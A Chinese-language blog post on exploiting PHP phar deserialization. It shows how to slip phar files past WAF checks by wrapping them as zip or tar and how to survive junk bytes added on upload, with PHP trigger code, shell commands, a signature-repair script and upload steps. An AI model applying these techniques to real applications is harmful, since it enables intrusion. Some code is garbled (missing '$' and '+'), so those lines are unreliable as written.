Phar反序列化如何解决各种waf检测和脏数据的添加问题?

2023-05-17 11:15:32 浏览数 (2)

Phar反序列化如何解决各种waf检测和脏数据的添加问题?

快来学爆,看完这些之后对phar的waf检测和脏数据的问题再也不用挠头了 本文首发于奇安信攻防社区: Phar反序列化如何解决各种waf检测和脏数据的添加问题?

phar支持的格式

phar文件可以是下面三种格式:

  • zip .zip .phar.zip
  • tar .tar .phar.tar .pahr..tar.gz .phar.tar.bz
  • phar .phar .phar.bz2 bzip2 phar.phar

在实战中的利用

  1. 可以使用压缩包的方法直接将数据压缩为zip,tar,tar.gz,tar.bz从而绕过stub或反序列化字段的检测(zip不会压缩反序列化数据段)
  2. 可以使用.phar格式修复的方法解决phar文件头部(使用phar)或者文件尾(使用tar)被添加脏数据的问题

zip添加脏数据 — 头尾均可添加脏数据但是phar无法解析

https://github.com/phith0n/PaddingZip

代码语言:javascript复制
python paddingzip.py -i ../test.phar.zip -o ../test1.phar.zip --prepend "this prepend to the start" --append "this append to the end"

此外在readme手册中还提到可以在linux中通过以下方式添加脏数据:

代码语言:javascript复制
$ echo -n "prepend" > f
$ cat f a.zip > b.zip
$ zip -F b.zip --out c.zip

在phar中的使用限制

ZIP格式的文件头尾都可以有脏字符,通过对偏移量的修复就可以重新获得一个合法的zip文件。但是否遵守这个规则,仍然取决于zip解析器,经过测试,phar解析器如果发现文件头不是zip格式,即使后面偏移量修复完成,也将触发错误

虽然zip添加不了脏数据让人大失所望,但是却在这里看到了zip却只要将phar的内容写进压缩包注释中,也同样能够反序列化,而且压缩后的zip数据也可以绕过stub检测,但是过不了反序列化数据检测(和Phar执行zip生成格式差不多,但是挺有意思的记一下吧)

代码语言:javascript复制
<?php
class test{
    public  function __wakeup(){
        var_dump(__FUNCTION__);
    }
}
phar_file = serialize(new test());zip = new ZipArchive();
res =zip->open('justzip.zip',ZipArchive::CREATE);
zip->addFromString('h0cksr.txt', 'file content goes here');zip->setArchiveComment(phar_file);zip->close();

readfile("phar://justzip.zip");
哪些场景不能解析带脏字符的zip文件呢?
  1. Java -jar执行这个带脏字符的jar包时会失败
  2. PHP无法解析
  3. 7zip无法解析

tar添加脏数据 — 可以在文件尾添加脏数据且phar正常解析

对于tar格式,如果能控制文件头,即可构造合法的tar文件,即使文件尾有垃圾字符

这个测试的话毫无技术要求,直接使用010打开tar文件, 然后触发调用可以看到phar反序列化还是被正常执行了

代码语言:javascript复制
<?php
//class test{
//    public  function __wakeup(){
//        var_dump(__FUNCTION__);
//    }
//}
//phar=new phar('test.phar');//后缀名必须为phar
//phar = phar->convertToExecutable(Phar::TAR);
//phar->startBuffering();
/*phar->setStub("<?php __HALT_COMPILER();?>");//设置stub*/
//obj=new test();
//phar->setMetadata(obj);//自定义的meta-data存入manifest
//phar->addFromString("flag.txt","flag{h0cksr}");//添加要压缩的文件
////签名自动计算
//phar->stopBuffering();
//?>
<?php
class test{
    public  function __wakeup(){
        var_dump(__FUNCTION__);
    }
}
var_dump(
    file_get_contents("compress.zlib://phar://test1.phar.tar/flag.txt")//未修改,读取数据失败,反序列化触发成功
);
var_dump(
    file_get_contents("compress.zlib://phar://test2.phar.tar/flag.txt")//文件头添加内容,读取数据失败,反序列化触发失败
);
var_dump(
    file_get_contents("compress.zlib://phar://test3.phar.tar/flag.txt")//文件尾添加内容,读取数据失败,反序列化触发成功
);

此外还在使用 tar 绕过签名看到可以直接使用打包一个只放了反序列化数据的.metadata文件生成的.tar压缩包可以直接用来触发反序列化

linux环境下执行 mkdir test;cd test mkdir .phar;cd .phar echo 'O:4:"test":0:{}' > .metadata cd ../.. tar -cf phar.tar .phar/ 生成的phar.tar可以直接通过phar://phar.tar触发反序列化

pahr文件 — 可以在文件头添加脏数据且phar正常解析

phar格式,必须控制文件尾,但不需要控制文件头。PHP在解析时会在文件内查找<?php __HALT_COMPILER(); ?>这个标签,这个标签前面的内容可以为任意值,但后面的内容必须是phar格式,并以该文件的sha1签名与字符串GBMB结尾。

phar格式可以直接在文件头加脏数据并且还能正常反序列化, 但是这点需要重新计算一下签名, 下面就是修正签名的脚本

代码语言:javascript复制
import hashlib

with open('phar.phar', 'rb') as f:
    content = f.read()

text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('phar_new.phar', 'wb ') as f:
    f.write(text   sig   end)

(pahr默认使用sha1加密就是有20字节的签名生成结果, 在签名后面还有8字节,前4字节表示文件使用的签名算法,最后四字节固定用于表示该文件存在签名)

phar文件内容=数据段 签名(默认sha1有20字节大小) 签名方式(4字节) 声明文件有无签名(4字节)

除了sha1之外phar还可以使用 MD5, SHA256, SHA512, OpenSSL生成签名

签名是前面全部数据段的内容根据加密算法加密得到的结果

所以当我们想要利用phar触发反序列化但是上传的文件在头部被添加了脏数据的话我们可以通过以下方法构造可利用的phar文件:

  1. 先生成正常的的.pahr文件
  2. 往文件头部添加脏数据
  3. 使用上面代码改正签名
  4. 使用010editor将头部的脏数据删除
  5. 上传文件

源码跟踪

挖坑, 等学会gdb之后再和今天发现的一些问题通过一起看源码 调试解决

别的一点

这是在p牛说到的几点,记一下hh:

  1. unzip命令解压时会忽略前置脏字符
  2. Java解析Zip包会忽略前置脏字符
  3. Python解析Zip包会忽略前置脏字符

0 人点赞